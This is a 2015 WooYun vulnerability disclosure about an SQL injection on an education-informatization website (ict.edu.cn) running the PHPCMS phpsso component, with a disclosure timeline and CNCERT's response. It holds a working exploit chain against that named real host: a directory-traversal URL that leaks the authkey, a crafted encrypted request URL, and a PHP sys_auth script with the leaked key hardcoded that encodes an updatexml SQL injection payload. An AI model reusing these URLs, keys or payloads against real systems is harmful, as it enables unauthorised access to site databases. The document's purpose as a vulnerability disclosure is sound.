当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127573

漏洞标题:教育信息化网主站存在SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-07-20 19:46

修复时间:2015-09-07 15:32

公开时间:2015-09-07 15:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-08-03: 细节向核心白帽子及相关领域专家公开
2015-08-13: 细节向普通白帽子公开
2015-08-23: 细节向实习白帽子公开
2015-09-07: 细节向公众公开

简要描述:

rt

详细说明:

该网站存在authkey泄露漏洞,可以进行注入

pc2.png

拿到authkey
http://www.ict.edu.cn/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

pc1.png


可以进行注入
http://www.ict.edu.cn/api.php?op=phpsso&code=43deUgQABwkDBFUFBFNUAgAEAwUOCVlUUFEBV1JUW0BRWFpfR0lZVVxTDFsSFF5TCRdBAldUQUcWAgIXVk1VWBAGGAFbXlRYRxxCSxNNQkRRQklKEBxQG0U

漏洞证明:

pc2.png

拿到authkey
http://www.ict.edu.cn/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

pc1.png


可以进行注入
http://www.ict.edu.cn/api.php?op=phpsso&code=43deUgQABwkDBFUFBFNUAgAEAwUOCVlUUFEBV1JUW0BRWFpfR0lZVVxTDFsSFF5TCRdBAldUQUcWAgIXVk1VWBAGGAFbXlRYRxxCSxNNQkRRQklKEBxQG0U
加密利用的sys_auth函数

<?php
function sys_auth($string, $operation = 'ENCODE', $key = 'hi', $expiry = 0) {
$key_length = 4;
$key = md5($key);
$fixedkey = md5($key);
$egiskeys = md5(substr($fixedkey, 16, 16));
$runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
$keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
$string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
//10位密文过期信息+16位明文和密钥生成的密文验证信息+明文
$i = 0; $result = '';
$string_length = strlen($string);
for ($i = 0; $i < $string_length; $i++){
$result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
}
if($operation == 'ENCODE') {
return $runtokey . str_replace('=', '', base64_encode($result));
} else {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}
}
echo sys_auth("action=synlogin&uid=' and updatexml(1,concat('~',user()),1)#", 'ENCODE', 'naxl34mbu0b8mqp51akosy2p5z0cx2oz');

修复方案:

更新一下吧,但是authkey泄露那里不知道更新是否已经修复

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-07-24 15:31

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向国家上级信息安全协调机构上报,由其后续协调网站管理单位处置.

最新状态:

暂无